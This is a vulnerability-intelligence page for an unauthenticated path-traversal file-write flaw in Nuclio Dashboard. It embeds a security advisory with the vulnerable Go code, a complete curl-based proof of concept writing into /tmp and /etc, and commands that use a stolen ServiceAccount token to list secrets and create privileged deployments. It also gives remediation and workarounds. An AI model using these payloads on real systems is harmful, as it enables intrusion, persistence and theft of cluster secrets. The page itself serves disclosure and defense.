Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessUnauthenticated POST to Dashboard API
-
DeliveryEmbed ../traversal in spec.handler module name
-
Exploitpath.Join resolves path outside build tempDir
-
Executionos.WriteFile writes attacker bytes as root
-
PersistPersist backdoor via /etc/cron.d or binary overwrite
-
ImpactExecute code inside Dashboard container
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A01:2025 - Broken Access Control
ASVS 5.0
V5 - File Handling Path canonicalization, traversal prevention
MITRE ATT&CK
2 techniques across 2 tactics: Discovery, Collection The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Exploitation requires that the Nuclio Dashboard be deployed with its default NOP authentication mode active, meaning the |
| Impact | Two conflicting CVSS scores exist for this CVE. The researcher-submitted score is CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N (7.5 High), reflecting that the default NOP auth mode requires no attacker credentials. The NVD/metadata score is CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:H/A:N (4.9 Medium), assigning PR:H - likely treating the absence of authentication as an operator-configured privileged state rather than an attacker precondition. Defenders should verify which auth mode is active in their deployment: if NOP auth is the deployed default, the researcher score of 7.5 better reflects actual attacker preconditions. No EPSS score was provided in the source data. No CISA KEV listing is present, indicating no confirmed widespread exploitation. However, a complete, step-by-step proof-of-concept with verified log output has been publicly disclosed in the GitHub security advisory, substantially lowering the exploitation bar. Secondary risk is significant: the Dashboard container runs as root and its Kubernetes ServiceAccount holds wildcard RBAC over secrets, deployments, pods, configmaps, services, and cronjobs in the |
| Exploit ScenarioDerived | A publicly available proof-of-concept exists. An unauthenticated attacker on the network sends a single HTTP POST to |
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Alert meAnalysisAIv1 – Jul 16, 2026
Unauthenticated path traversal in Nuclio Dashboard's function build API allows arbitrary file write as root inside the Dashboard container. The spec.handler field accepts unsanitized module names containing ../ sequences, which Go's path.Join/path.Clean resolves to escape the build temp directory; the resulting path is passed to os.WriteFile running as uid=0. Versions up to and including 1.15.27 are affected; a full working proof-of-concept has been publicly disclosed, though no confirmed active exploitation (CISA KEV) has been identified at time of analysis.
RemediationAI
The vendor-released patch is Nuclio 1.16.5, available at https://github.com/nuclio/nuclio/releases/tag/1.16.5; upgrade to this version or later to fully remediate. The fix (PR #4143, commit 2a55d3a8bd4d49226cb4742020303f5bf2a0931d) adds a common.IsPathWithinDir() guard in writeFunctionSourceCodeToTempFile() that rejects handler module names resolving outside the build tempDir before any write occurs. If immediate upgrade is not feasible, three compensating controls are available with trade-offs. First, enable authentication by setting the NUCLIO_AUTH_KIND environment variable on the Dashboard deployment to a non-NOP value such as iguazio; this blocks unauthenticated API access entirely but requires a supported identity provider to be configured. Second, restrict network access to the Dashboard port (default 8070/8073) via network policy or firewall rules to only trusted management networks; this reduces attack surface but does not fix the underlying flaw and fails if a trusted internal host is compromised. Third, run the Dashboard container as a non-root user by setting runAsUser and runAsNonRoot in the pod security context; this limits the blast radius of any successful file write but does not prevent the traversal itself, and may break functionality if the process requires root for Docker socket access.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 2 packages in go, euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
Nuclio (CPE: pkg:go/github.com_nuclio_nuclio) is a high-performance serverless framework for Kubernetes. The Dashboard component exposes a REST API at POST /api/functions that, in its default NOP authentication mode, requires no credentials. The vulnerable code path begins in pkg/functionconfig/handler.go:ParseHandler(), which splits the spec.handler string on : and returns the module portion verbatim with zero path sanitization. That module name is then passed to path.Join(tempDir, moduleFileName) in pkg/processor/build/builder.go:writeFunctionSourceCodeToTempFile(). Go's path.Join internally calls path.Clean, which collapses ../ sequences against the absolute base path, allowing the resolved destination to escape the intended tempDir. The function then calls os.WriteFile at the attacker-resolved path with base64-decoded content from spec.build.functionSourceCode. The post-write cleanup (os.RemoveAll) only removes the build temp subtree, leaving any traversal-written files intact. The root cause class is CWE-22 (Improper Limitation of a Pathname to a Restricted Directory). The fix (commit 2a55d3a8, PR #4143) introduces common.IsPathWithinDir() using filepath.Rel() to validate the resolved path stays within tempDir before any write occurs.
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- Exploit and PoC references, threat intelligence from 22 sources
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Severity by source
AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:H/A:N
Default NOP auth requires no credentials (PR:N); single HTTP request with no race condition (AC:L); write contained to Dashboard container with no data exfiltration in primary path (S:U, C:N, A:N).
Primary rating from Vendor (https://github.com/nuclio/nuclio).
CVSS VectorVendor: https://github.com/nuclio/nuclio
DescriptionCVE.org
Summary
Nuclio Dashboard exposes POST /api/functions without authentication by default (NOP auth mode). The spec.handler field (e.g., mymodule:myfunction) is parsed by functionconfig.ParseHandler() which splits on : only - no path validation is applied to the module portion.
During function build, writeFunctionSourceCodeToTempFile() passes the module name directly to path.Join(tempDir, moduleFileName). Go's path.Join internally calls path.Clean, which resolves ../ sequences and allows the resolved path to escape tempDir. The function then calls os.WriteFile at the attacker-controlled path with attacker-controlled content (base64-decoded spec.build.functionSourceCode).
The write executes in the Dashboard container process running as uid=0 (root), allowing writes to any filesystem location the process can access: /tmp, /etc, /usr/local/bin, /etc/cron.d, and more.
- CVSS 3.1:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N- 7.5 (High) - CWE: CWE-22 (Improper Limitation of a Pathname to a Restricted Directory)
- Affected versions: Nuclio <= 1.15.27 (latest at time of research, dynamically verified)
---
Details
Root Cause
The vulnerability spans three functions. The path from user input to disk write is:
1. ParseHandler - no path validation (pkg/functionconfig/handler.go:25-38):
// pkg/functionconfig/handler.go:25-38
func ParseHandler(handler string) (string, string, error) {
moduleAndEntrypoint := strings.Split(handler, ":")
switch len(moduleAndEntrypoint) {
case 1:
return "", moduleAndEntrypoint[0], nil
case 2:
// Returns moduleFileName verbatim - no path sanitization
return moduleAndEntrypoint[0], moduleAndEntrypoint[1], nil
default:
return "", "", errors.Errorf("Invalid handler name %s", handler)
}
}Input "../../../../tmp/vul007_proof.txt:handler" returns moduleFileName = "../../../../tmp/vul007_proof.txt".
2. writeFunctionSourceCodeToTempFile - unsafe path construction (pkg/processor/build/builder.go:613-661):
// builder.go:624-657 (abridged)
tempDir, err := b.mkDirUnderTemp("source")
// tempDir = /tmp/nuclio-build-<random>/source
runtimeExtension, err := b.getRuntimeFileExtensionByName(b.options.FunctionConfig.Spec.Runtime)
moduleFileName, entrypoint, err := functionconfig.ParseHandler(b.options.FunctionConfig.Spec.Handler)
// moduleFileName = "../../../../tmp/vul007_proof.txt" - attacker-controlled
if !strings.Contains(moduleFileName, ".") {
moduleFileName = fmt.Sprintf("%s.%s", moduleFileName, runtimeExtension)
}
// If moduleFileName already contains ".", no extension is appended
// "../../../../tmp/vul007_proof.txt" contains "." -> stays as-is
sourceFilePath := path.Join(tempDir, moduleFileName)
// path.Join("/tmp/nuclio-build-227825660/source", "../../../../tmp/vul007_proof.txt")
// = "/tmp/vul007_proof.txt" <-- escaped tempDir
b.logger.DebugWith("Writing function source code to temporary file", "functionPath", sourceFilePath)
if err := os.WriteFile(sourceFilePath, decodedFunctionSourceCode, os.FileMode(0644)); err != nil {
// Writes attacker-controlled bytes to attacker-controlled path3. cleanupTempDir does not remove the traversal file (builder.go:1047-1061):
// builder.go:1053
err := os.RemoveAll(b.tempDir)
// Only removes /tmp/nuclio-build-<random>/ - traversal file outside this tree persistsPath Traversal Calculation
tempDir = /tmp/nuclio-build-227825660/source (depth from /: 3 components)
handler = "../../../../tmp/vul007_proof.txt:handler"
module = "../../../../tmp/vul007_proof.txt"
path.Join("/tmp/nuclio-build-227825660/source", "../../../../tmp/vul007_proof.txt")
= path.Clean("/tmp/nuclio-build-227825660/source/../../../../tmp/vul007_proof.txt")
Traversal:
/tmp/nuclio-build-227825660/source (start)
../ -> /tmp/nuclio-build-227825660
../ -> /tmp
../ -> / (filesystem root)
../ -> / (cannot go above root)
tmp/vul007_proof.txt -> /tmp/vul007_proof.txtThe same technique with 4x ../ reaches any path under /tmp, /etc, /usr, etc.
Full Attack Chain
Unauthenticated HTTP client
-> POST /api/functions (no auth, NOP mode)
dashboard/resource/function.go:156 storeAndDeployFunction()
-> platform.CreateFunction()
platform/kube/platform.go:193
-> abstract/platform.go:191 HandleDeployFunction()
-> abstract/platform.go:119 CreateFunctionBuild()
-> builder.Build()
processor/build/builder.go:195
-> builder.resolveFunctionPath()
builder.go:664
-> builder.writeFunctionSourceCodeToTempFile() <-- file write here
builder.go:613
-> os.WriteFile(attacker_path, attacker_content, 0644)
builder.go:657---
PoC - Steps to Reproduce
Environment Setup
The following steps set up an isolated kind cluster and deploy Nuclio 1.15.27. All commands were executed on an Ubuntu host with Docker 29.1.2.
Step 1: Create isolated kind cluster with Docker socket mounted
The Dashboard container builder requires access to Docker daemon. Create a kind cluster configuration that mounts the host Docker socket into the cluster node:
cat > /tmp/kind-vul007-config.yaml << 'EOF'
kind: Cluster
apiVersion: kind.x-k8s.io/v1alpha4
nodes:
- role: control-plane
extraMounts:
- hostPath: /var/run/docker.sock
containerPath: /var/run/docker.sock
EOF
kind create cluster --name vul-007 --config /tmp/kind-vul007-config.yamlExpected output:
Creating cluster "vul-007" ...
✓ Ensuring node image (kindest/node:v1.27.3)
✓ Preparing nodes
✓ Writing configuration
✓ Starting control-plane
✓ Installing CNI
✓ Installing StorageClass
Set kubectl context to "kind-vul-007"Verify Docker socket is available inside the cluster node:
docker exec vul-007-control-plane ls -la /var/run/docker.sock
# srw-rw---- 1 root 988 0 May 17 13:31 /var/run/docker.sockStep 2: Deploy Nuclio via Helm
# Create namespace
kubectl --context kind-vul-007 create namespace nuclio
# Load container images (if pre-pulled)
kind load docker-image quay.io/nuclio/dashboard:1.15.27-amd64 --name vul-007
kind load docker-image quay.io/nuclio/controller:1.15.27-amd64 --name vul-007
# Install with Helm (chart from source: hack/k8s/helm/nuclio)
helm install nuclio ./hack/k8s/helm/nuclio \
--namespace nuclio \
--kube-context kind-vul-007 \
--set controller.image.pullPolicy=Never \
--set dashboard.image.pullPolicy=Never \
--set registry.pushPullUrl="localhost:5000" \
--set dashboard.containerBuilderKind=dockerStep 3: Wait for Dashboard to be ready
kubectl --context kind-vul-007 wait -n nuclio \
--for=condition=ready pod -l nuclio.io/app=dashboard --timeout=90s
# Expected:
# pod/nuclio-dashboard-b4c5bb96f-txjkt condition metStep 4: Expose Dashboard locally
kubectl --context kind-vul-007 port-forward -n nuclio svc/nuclio-dashboard 8073:8070 &
sleep 3
# Verify Dashboard is accessible
curl -s -o /dev/null -w "HTTP %{http_code}\n" http://localhost:8073/api/functions
# HTTP 200Step 5: Create default project (required by Dashboard API)
curl -s -X POST http://localhost:8073/api/projects \
-H "Content-Type: application/json" \
-d '{"metadata":{"name":"default","namespace":"nuclio"},"spec":{"description":"default"}}'---
Exploitation
Step 6: Send path traversal request
The handler field ../../../../tmp/vul007_proof.txt:handler instructs the build pipeline to write functionSourceCode content to /tmp/vul007_proof.txt inside the Dashboard container.
curl -v -X POST http://localhost:8073/api/functions \
-H "Content-Type: application/json" \
-H "x-nuclio-project-name: default" \
-d '{
"metadata": {"name": "vul007-poc", "namespace": "nuclio"},
"spec": {
"runtime": "python:3.11",
"handler": "../../../../tmp/vul007_proof.txt:handler",
"build": {
"functionSourceCode": "UFJPVkVELVBBVEgtVFJBVkVSU0FMLVZVTDAwNw=="
},
"minReplicas": 0,
"maxReplicas": 1
}
}'functionSourceCode base64 decoded: PROVED-PATH-TRAVERSAL-VUL007
Expected response:
HTTP/1.1 202 AcceptedStep 7: Observe Dashboard build logs
kubectl --context kind-vul-007 logs -n nuclio deploy/nuclio-dashboard --tail=20 \
| grep -E "temporary dir|Writing function source"Actual log output (captured during verification, timestamp 2026-05-17 14:55:02 CST):
26.05.17 14:55:02.225 (D) dashboard.server.api/functions Created temporary dir
{"dir": "/tmp/nuclio-build-227825660/source"}
26.05.17 14:55:02.225 (D) dashboard.server.api/functions Writing function source code to temporary file
{"functionPath": "/tmp/vul007_proof.txt"}The log confirms functionPath resolved to /tmp/vul007_proof.txt, which is outside the tempDir /tmp/nuclio-build-227825660/source. Path traversal is confirmed.
Step 8: Verify file written to traversal path
kubectl --context kind-vul-007 exec -n nuclio deploy/nuclio-dashboard \
-- cat /tmp/vul007_proof.txtOutput:
PROVED-PATH-TRAVERSAL-VUL007kubectl --context kind-vul-007 exec -n nuclio deploy/nuclio-dashboard \
-- ls -la /tmp/vul007_proof.txtOutput:
-rw-r--r-- 1 root root 28 May 17 14:55 /tmp/vul007_proof.txtStep 9: Write to /etc/ - broader impact demonstration
curl -s -X POST http://localhost:8073/api/functions \
-H "Content-Type: application/json" \
-H "x-nuclio-project-name: default" \
-d '{
"metadata": {"name": "vul007-poc2", "namespace": "nuclio"},
"spec": {
"runtime": "python:3.11",
"handler": "../../../../etc/vul007-marker.txt:handler",
"build": {
"functionSourceCode": "VlVMMDA3LVBFUlNJU1RFTlQtTUFSS0VSLXJvb3Q="
}
}
}'Log evidence:
26.05.17 14:55:50.666 (D) dashboard.server.api/functions Writing function source code to temporary file
{"functionPath": "/etc/vul007-marker.txt"}kubectl --context kind-vul-007 exec -n nuclio deploy/nuclio-dashboard \
-- cat /etc/vul007-marker.txt
# VUL007-PERSISTENT-MARKER-root---
Cleanup
kubectl --context kind-vul-007 delete nucliofunction vul007-poc vul007-poc2 -n nuclio 2>/dev/null || true
kind delete cluster --name vul-007---
Impact
Direct Impact
An unauthenticated attacker with network access to the Nuclio Dashboard port can write arbitrary content to any path accessible by the Dashboard process (running as root) inside the Dashboard container.
Demonstrated write targets:
/tmp/- confirmed (primary PoC)/etc/- confirmed (secondary PoC)
Potential high-impact write targets:
/etc/cron.d/- write a cron job entry; if a cron daemon runs in the container, this
achieves scheduled arbitrary command execution inside the container
/usr/local/bin/<name>- overwrite a binary called by dashboard processes- Any file path accessible by root within the container filesystem
Privilege Escalation
The Dashboard container runs as uid=0 (root). Its mounted Kubernetes ServiceAccount (nuclio-dashboard) holds the following RBAC permissions in the nuclio namespace:
Resources Verbs
secrets [*]
deployments.apps [*]
pods [*]
configmaps [*]
services [*]
cronjobs.batch [*]Verification: Using the SA token directly against the Kubernetes API:
# List secrets - HTTP 200
curl -k -H "Authorization: Bearer $SA_TOKEN" \
"$K8S_API/api/v1/namespaces/nuclio/secrets"
# => returns helm release secret, nuclio SA secret
# Create privileged Deployment - HTTP 201
curl -k -X POST -H "Authorization: Bearer $SA_TOKEN" \
-H "Content-Type: application/json" \
"$K8S_API/apis/apps/v1/namespaces/nuclio/deployments" \
-d '{"spec":{"template":{"spec":{"containers":[{"name":"t","image":"busybox","securityContext":{"privileged":true}}]}}}}'
# HTTP_CODE:201An attacker who compromises the Dashboard container (via this file write vulnerability) gains access to this SA token and can create privileged workloads in the nuclio namespace, potentially escalating to cluster-level access depending on cluster configuration.
Scope
The file write is bounded to the Dashboard container filesystem. Host-level writes require additional preconditions (hostPath volumes, privileged container mode, or DinD configuration) not present in a standard Nuclio Kubernetes deployment.
---
Severity
CVSS 3.1 Score: 7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N| Metric | Value | Rationale |
|---|---|---|
| Attack Vector | Network | Dashboard API reachable over network |
| Attack Complexity | Low | Single HTTP request, no race condition |
| Privileges Required | None | Default NOP auth mode requires no credentials |
| User Interaction | None | Fully automated |
| Scope | Unchanged | Write confined to Dashboard container |
| Confidentiality | None | No data read in primary attack path |
| Integrity | High | Arbitrary file write as root in container |
| Availability | None | No service disruption caused by write |
---
Affected Versions
- Nuclio <= 1.15.27 (latest release at time of research)
- Dynamically verified against
quay.io/nuclio/dashboard:1.15.27-amd64on 2026-05-17
The vulnerable code path (writeFunctionSourceCodeToTempFile in pkg/processor/build/builder.go) has been present since the functionSourceCode inline code feature was introduced.
---
Patched Versions
https://github.com/nuclio/nuclio/releases/tag/1.16.5
---
Workarounds
Option 1: Enable authentication on the Dashboard
Set NUCLIO_AUTH_KIND to a non-NOP value (e.g., iguazio) to require credentials. This prevents unauthenticated access to the API. Consult Nuclio documentation for supported auth providers.
# In Dashboard deployment env
- name: NUCLIO_AUTH_KIND
value: "iguazio"Option 2: Network-level access control
Restrict network access to the Dashboard port (default 8070) to trusted networks only. Do not expose the Dashboard directly to the internet.
Option 3: Drop root privileges in the Dashboard container
Run the Dashboard process as a non-root user to reduce the impact of container-level arbitrary file writes.
---
Remediation
Add a path boundary check in writeFunctionSourceCodeToTempFile after constructing sourceFilePath:
// pkg/processor/build/builder.go - fix for writeFunctionSourceCodeToTempFile
sourceFilePath := path.Join(tempDir, moduleFileName)
// Verify resolved path is within tempDir
absPath, err := filepath.Abs(sourceFilePath)
if err != nil {
return "", errors.Wrap(err, "Failed to resolve absolute path")
}
absTempDir, err := filepath.Abs(tempDir)
if err != nil {
return "", errors.Wrap(err, "Failed to resolve absolute tempDir")
}
if !strings.HasPrefix(absPath, absTempDir+string(os.PathSeparator)) {
return "", errors.Errorf(
"handler module path escapes build directory: %s", moduleFileName)
}
b.logger.DebugWith("Writing function source code to temporary file", "functionPath", absPath)
if err := os.WriteFile(absPath, decodedFunctionSourceCode, os.FileMode(0644)); err != nil {Alternatively, reject any handler module name containing path separator characters before the build pipeline is invoked (at API request validation time).
---
Resources
- Vulnerable file:
pkg/processor/build/builder.go- functionwriteFunctionSourceCodeToTempFile, line 654 - Parser:
pkg/functionconfig/handler.go- functionParseHandler, line 25 - Go
path.Joinbehavior: https://pkg.go.dev/path#Join - CWE-22: https://cwe.mitre.org/data/definitions/22.html
- OWASP Path Traversal: https://owasp.org/www-community/attacks/Path_Traversal
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
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Same weakness CWE-22 – Path Traversal
View allSame technique Privilege Escalation
View allVendor StatusVendor
SUSE
Severity: Moderate| Product | Status |
|---|---|
| SUSE Linux Enterprise Server 16.1 | Affected |
| SUSE Linux Enterprise Server for SAP applications 16.1 | Affected |
| SUSE Linux Enterprise Module for Package Hub 15 SP5 | Affected |
| SUSE Linux Enterprise Module for Package Hub 15 SP6 | Affected |
| openSUSE Leap 15.5 | Affected |
| openSUSE Leap 15.6 | Affected |
EUVD-2026-70215
GHSA-wpcj-rmv4-86qg
NVD
CVE.org
EPSS
Exploit-DB